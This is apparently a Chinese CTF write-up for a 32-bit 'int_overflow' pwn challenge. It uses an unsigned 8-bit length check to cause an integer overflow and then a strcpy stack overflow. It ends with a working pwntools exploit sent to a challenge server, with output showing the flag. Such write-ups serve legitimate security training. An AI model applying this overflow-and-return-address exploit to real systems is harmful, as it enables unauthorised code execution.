int_overflow--writeup

原创

ATFWUS 于 2020-03-02 12:31:23 发布 403 收藏
分类专栏： CTF-PWN # 攻防世界-pwn -- WriteUp 文章标签： CTF PWN 整型溢出 栈溢出

文件下载地址：

链接：https://pan.baidu.com/s/1RiL_dBXGdlRsz76Nw0Mj2w
提取码：s8sy

目录

0x01.分析

checksec：

```
root@at-ubuntu:/home/atfwus/rop# checksec int_overflow
[*] '/home/atfwus/rop/int_overflow'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
root@at-ubuntu:/home/atfwus/rop#
```

32位程序，开启了NX。

看下源码：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("----------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("----------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}
```



```
char *login()
{
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]

  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}
```

```
char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}
```


理清一下流程：

1. 首先选择1或2，选1登陆。
2. 登陆函数中，首先输入名字。
3. 然后输入密码。
4. 返回到密码检查函数，检查密码的长度，不在（4，8）内直接退出。
5. 在这个范围内，使用了strcpy函数赋值密码到dest，然后返回。
6. 发现源码中有直接调用system的函数，但程序本身没有调用。

寻找一下漏洞：

1. 首先查看两个read函数，buf分配的空间都比实际read读入的要大，没有漏洞。
2. strcpy函数的dest只有0x14，但s最多有0x199，存在栈溢出。
3. 然后检查s的来源，发现来自第二个read。

4. 继续查看检查函数的源码发现，对read读入的字符串s有一个长度的限制，不能超出8。
5. 这样的话，暂时无法直接从read读大串字符从strcpy溢出。
6. s的长度最终给了v3，是通过v3进行长度的判断，我们查看一下v3。
7. 发现v3是8位无符号整数，则最大只能是255。
8. read函数的长度是0x199，远大于255。
9. 发现可以使用整型溢出。

利用漏洞攻击：

1. 要使得v3的值是（4，8），利用整型溢出，我们可以使得read读入长度为（260，264）。
2. 这样溢出后，v3的值刚好在范围内。
3. 先确定一下strcpy处的偏移：

```
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]
```

4.偏移量为0x14+4。

5.查看system的地址：

```
.text:0804868B                  public what_is_this
.text:0804868B what_is_this     proc near
.text:0804868B ; __unwind {
.text:0804868B                  push    ebp
.text:0804868C                  mov     ebp, esp
.text:0804868E                  sub     esp, 8
.text:08048691                  sub     esp, 0Ch
.text:08048694                  push    offset command  ; "cat flag"
.text:08048699                  call    _system
.text:0804869E                  add     esp, 10h
.text:080486A1                  nop
.text:080486A2                  leave
.text:080486A3                  retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this     endp
.text:080486A3
.text:080486A4
```


地址为：**0x0804868B**

6.可以开始编写攻击脚本。

0x02.exp

```
##!/usr/bin/env python
from pwn import*

#r=process('./int_overflow')
r=remote("111.198.29.45",48613)

system_adr=0x0804868B
payload=(0x14+4)*'A'+p32(system_adr)
payload+=(260-len(payload))*'A'

r.recvuntil("choice:")
r.sendline('1')
r.recvuntil("username:")
r.sendline("atfwus")
r.recvuntil("passwd:")
r.sendline(payload)
r.interactive()
```

```
root@at-ubuntu:/home/atfwus/rop# python expint_overflow.py
[+] Opening connection to 111.198.29.45 on port 48613: Done
[*] Switching to interactive mode

Success
cyberpeace{468a054043ee5a6d9855816b88d23d01}
[*] Got EOF while reading in interactive
$
```